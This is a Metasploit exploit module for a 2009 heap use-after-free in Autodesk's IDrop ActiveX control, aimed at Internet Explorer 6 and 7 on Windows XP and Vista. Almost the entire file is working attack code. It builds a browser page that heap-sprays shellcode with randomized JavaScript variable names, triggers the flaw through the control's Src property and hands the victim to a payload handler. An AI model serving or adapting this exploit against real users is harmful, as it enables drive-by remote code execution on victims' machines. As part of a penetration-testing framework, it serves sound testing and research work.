##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Autodesk IDrop ActiveX Control Heap Memory Corruption',
      'Description'    => %q{
          This module exploits a heap-based memory corruption vulnerability in
        Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.
        An attacker can execute arbitrary code by triggering a heap use after
        free condition using the Src, Background, PackageXml properties.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Elazar Broad <elazarb[at]earthlink.net>',   # Original exploit [see References]
          'Trancer <mtrancer[at]gmail.com>'            # Metasploit implementation
        ],
      'References'     =>
        [
          [ 'OSVDB', '53265' ],
          [ 'BID', '34352' ],
          [ 'EDB', '8560' ],
          [ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ]
        ],
      'DisclosureDate' => 'Apr 2 2009',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Setup exploit buffers
    nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))
    blocksize = 0x40000
    fillto    = 550
    offset 	  = target['Offset']

    # Randomize the javascript variable names
    idrop	     = rand_text_alpha(rand(100) + 1)
    j_function   = rand_text_alpha(rand(100) + 1)
    j_shellcode  = rand_text_alpha(rand(100) + 1)
    j_nops       = rand_text_alpha(rand(100) + 1)
    j_headersize = rand_text_alpha(rand(100) + 1)
    j_slackspace = rand_text_alpha(rand(100) + 1)
    j_fillblock  = rand_text_alpha(rand(100) + 1)
    j_block      = rand_text_alpha(rand(100) + 1)
    j_memory     = rand_text_alpha(rand(100) + 1)
    j_counter    = rand_text_alpha(rand(30) + 2)
    j_ret        = rand_text_alpha(rand(100) + 1)
    j_mem        = rand_text_alpha(rand(100) + 1)

    # Build out the message
    content = %Q|
<html>
<head>
<script language='javascript' defer>
function #{j_function}() {
  #{j_shellcode}=unescape('#{shellcode}');
  #{j_nops}=unescape('#{nops}');
  #{j_headersize}=20;
  #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
  while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
  #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
  #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
  while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
  #{j_memory}=new Array();
  for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

  var #{j_ret} = '';
  for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) {
    #{j_ret} += unescape('%u0a0a');
  }
  for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) {
    try {
      var #{j_mem} = #{idrop}.Src;
      #{idrop}.Src = 'http://' + #{j_ret};
      #{idrop}.Src = #{j_mem};
      #{idrop}.Src = 'http://' + #{j_ret};
    } catch(e){}

  }
}
</script>
</head>
<body onload='return #{j_function}();'>
<object classid='clsid:21E0CB95-1198-4945-A3D2-4BF804295F78' id='#{idrop}'></object>
</body>
</html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
